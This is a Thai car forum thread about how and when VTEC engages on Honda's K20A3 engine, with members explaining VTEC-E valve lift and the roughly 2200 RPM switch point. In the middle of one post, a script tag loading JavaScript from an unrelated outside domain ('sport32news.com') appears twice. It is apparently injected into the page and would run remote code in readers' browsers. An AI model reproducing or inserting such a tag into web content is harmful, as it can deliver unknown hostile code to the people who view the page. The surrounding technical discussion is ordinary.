VTEC ในK20A3

indica999

เข้าร่วม: 02 สิงหา 2013
ตอบ: 286

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 569
ให้คำขอบคุณ: 190

จันทร์, 23 มิถุนา 2014 21:17 - VTEC ในK20A3

วันนี้ผมลองติดตั้ง ไอ่เจ้าไฟแสดงการทำงานของระบบ Vtec แล้วไปลองขับดู รอบแค่ 2200 ไฟก็ติดแล้วครับเคยได้ยินมาว่า เกียร์ MT จะ3000 ถึงติด แบบนี้ปกติดีรึเปล่าครับ รู้สึกมันจะติดไวไปไหม รอบแค่ 2200 นี่เปิด 16 วาวล์แล้วเหรอครับ รอบ 2200 ความเร็วแต่ที่
70+- km/h เองอ่ะครับที่เกียร์ 5 งั้นถ้าอยากประหยัด ใช้ 12 วาวล์ก็ต้องขับไม่เกิน 70 อ่ะดิ

นึกว่าเครื่องใหญ่แล้วจะใช้รอบน้อยลงในการปั่นล้อ

ได้รับคำขอบคุณจาก: karnmotocross01

wasan_ceo

ชื่อเล่น: โจ้

เข้าร่วม: 29 กันยา 2013
ตอบ: 573

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 589
ให้คำขอบคุณ: 93

ที่อยู่: กระบี่
ปี: 2005
สี: เทา ซิลเวอร์สโตน (NH-630M)

จันทร์, 23 มิถุนา 2014 21:25 - VTEC ในK20A3

เทคเปิดหรือไม่เปิด เครื่องก็ทำงานครบทั้ง 16 วาล์วครับ ไม่ใช่ปิดแล้วเป็น 12 วาล์ว
เปิดแล้วเป็น 16 วาล์ว เพียงแต่เมื่อมันเปิดแล้ว ระยะยกวาล์วมันจะเพิ่มขึ้นมากกว่าเดิม

ผิดพลาดประการใด รอท่านอื่นอีกทีครับ

ได้รับคำขอบคุณจาก: indica999 karnmotocross01

indica999

เข้าร่วม: 02 สิงหา 2013
ตอบ: 286

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 569
ให้คำขอบคุณ: 190

จันทร์, 23 มิถุนา 2014 21:51 - VTEC ในK20A3

wasan_ceo พิมพ์ว่า:

ถ้าแบบนั้นมันคือเทคซิ่งเหมือนพวก ฝาแดง B16B ฯลฯ รึเปล่าครับท่าน แต่เทคในรุ่นเราเป็นแค่ Vtec E,Vtec Lev ฯลฯ แล้วแต่ฮอนด้าจะเรียก ผมดูมาจากเว๊ปฝรั่งอ่ะคร้าบท่าน ผิดพลาดประการใด ก็ขออภัยกับภาษาอังกฤษงูๆปลาๆ ด้วย

The Second System (K20A3):

This system does not really conform to the "DOHC i-VTEC" nomenclature, as Honda would like us to believe. As I mentioned in my previous post, it actually should be called "i-VTEC-E," because it uses a VTEC-E mechanism rather than a standard VTEC mechanism. At low RPM, the VTEC-E system effectively forces the engine to operate as a 12-valve engine - one of the intake valves does not open fully, thus decreasing fuel consumption. At 2200RPM, the VTEC-E system engages the 2nd intake valve, effectively resuming operation as a normal 16-valve engine. There are no high-RPM performance cam profiles; this engine is tuned to balance fuel economy and power, rather than provide pure performance. On the intake cam, there is the VTC mechanism which basically is an automatic self-adjusting cam gear used to continuously optimize the valve overlap for all RPM ranges. This being a VTEC-E system - and not a true DOHC VTEC system - is the reason the K20A3 redlines at a measly 6800RPM, while the K20A2 is able to rev all the way to 7900RPM.

ผมเพียงสงสัยในเรื่องการเปิดVTECของเกียร์ MT ว่าทำไมมันเปิดVTECเท่าๆกันกับ AT หรือที่ผมคิดผิดมาตลอด ที่ว่า Vtec AT กับ MT เปิดที่รอบไม่เท่ากัน "<script src="https://sport32news.com/civicesgroup.js">

"<script src="https://sport32news.com/civicesgroup.js">

ท่านใดเซียนๆไขข้อข้องใจให้ทีคร้าบ

ได้รับคำขอบคุณจาก: karnmotocross01

lkki5

เข้าร่วม: 26 ตุลา 2008
ตอบ: 2973

ครอบครัว ES

ได้รับคำขอบคุณ: 3115
ให้คำขอบคุณ: 1255

ที่อยู่: สัตหีบ ชลบุรี หรือ พิจิตร นครสวรรค์
ปี: 2001
สี: น้ำเงิน อิเทอนอล (B-96P)

อังคาร, 24 มิถุนา 2014 09:04 - VTEC ในK20A3

k20a3 mt เอาเฟืองท้าย dc5 type r มาใส่รอบจัดขึ้น ขับสนุกขึ้นครับ
ปล.ระบบวีเทคใน k20a ฝาขาว เฉพาะฝั่งไอดีเริ่มแรกเดิน 16 วาวล์ ลิฟต่ำหนึ่งวาวล์ ลิฟสูงหนึ่งวาวล์ เมื่อถึงจุดวีเทคคิกจะเปลี่ยนเป็น 16 วาวล์ ลิฟสูง ฝั่งไอเสียไม่เปลี่ยนแปลง เงื่อนไขการทำงานของระบบวีเทคมีหลายอย่าง เช่น อุณหภูมิน้ำหล่อเย็น ความเร็วรถ รอบเครื่อง vacume map %throtle เป็นต้น

แก้ไขล่าสุดโดย เมื่อ พุธ, 25 มิถุนา 2014 09:16, ทั้งหมด 1 ครั้ง (ดูทั้งหมด)

ได้รับคำขอบคุณจาก: vor_ped karnmotocross01 blackhawkpearl indica999 vat

wut-chiangmai

ชื่อเล่น: วุฒิ

เข้าร่วม: 28 มีนา 2009
ตอบ: 2094

ครอบครัว ES

ได้รับคำขอบคุณ: 3937
ให้คำขอบคุณ: 5037

ที่อยู่: เชียงใหม่
ปี: 2004
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อังคาร, 24 มิถุนา 2014 13:32 - VTEC ในK20A3

เทค เปิด-ปิด ไม่ได้ดูรอบเครื่องอย่างเดียวอ่าครับ

ถ้าค่อย ๆ เลี้ยงคันเร่งขึ้นเรื่อย ๆ เทคจะเปิดที่สามพันกว่ารอบ
แต่ถ้ากดลึก สองพันกว่าก็เปิดแล้วครับ

มันคงดูพฤติกรรมเรา ว่ารีบรึเปล่า อะไรประมาณนี้

yoosabai

ชื่อเล่น: เอ้

เข้าร่วม: 30 กันยา 2008
ตอบ: 1992

ครอบครัว ES

ได้รับคำขอบคุณ: 8345
ให้คำขอบคุณ: 4773

ที่อยู่: Samutprakarn
ปี: 2005
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อังคาร, 24 มิถุนา 2014 16:07 - VTEC ในK20A3

การทำงานของ vtec ของ K20A3 จะเป็นตามนี้ครับ
ส่วนเท่าที่สังเกตุดูของ K203 MT เมื่อเครื่องถูกวอร์มเรียบร้อย และอยู่ในสภาวะปกติ จะทำงานที่รอบเครื่อง 2,200 Rpm เช่นกันครับ

ได้รับคำขอบคุณจาก: indica999 vor_ped

K-yuthya

ชื่อเล่น: เค

เข้าร่วม: 14 สิงหา 2012
ตอบ: 806

Guru ES
Guru ES

ได้รับคำขอบคุณ: 528
ให้คำขอบคุณ: 803

ที่อยู่: อยุธยา-เพชรบูรณ์
ปี: 2004
สี: ทอง แซทเทิลไลท์ (NH-663M)

อังคาร, 24 มิถุนา 2014 20:57 - VTEC ในK20A3

โห...ระดับพระอาจารย์ทั้งนั้น
ข้าน้อยขอคาระวะ

indica999

เข้าร่วม: 02 สิงหา 2013
ตอบ: 286

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 569
ให้คำขอบคุณ: 190

อังคาร, 24 มิถุนา 2014 23:14 - VTEC ในK20A3

yoosabai พิมพ์ว่า:

กระจ่างเลยครับพี่เอ้ ผมก็คิดมาตลอดว่ามันวิ่ง 12 วาวล์ ตอนปิด แต่มันก็ดูเหมือน 12 วาวล์ ตามความรู้สึกอ่ะพี่ เพราะมันเปิดหรี่ๆ อยู่อีกวาวล์

พอรอบได้ก็แค่เปิดวาวล์เต็ม แล้วก็หมดเลย พลังมาตอน 2200 แล้วจากนั้นก็อืดดดดดด กว่าจะ 6500 รอบ

อยากสัมผัสพลังฝาแดง กะเค้ามั่ง อยากได้อารมณ์เทคซิ่ง แต่ตังค์ไม่มี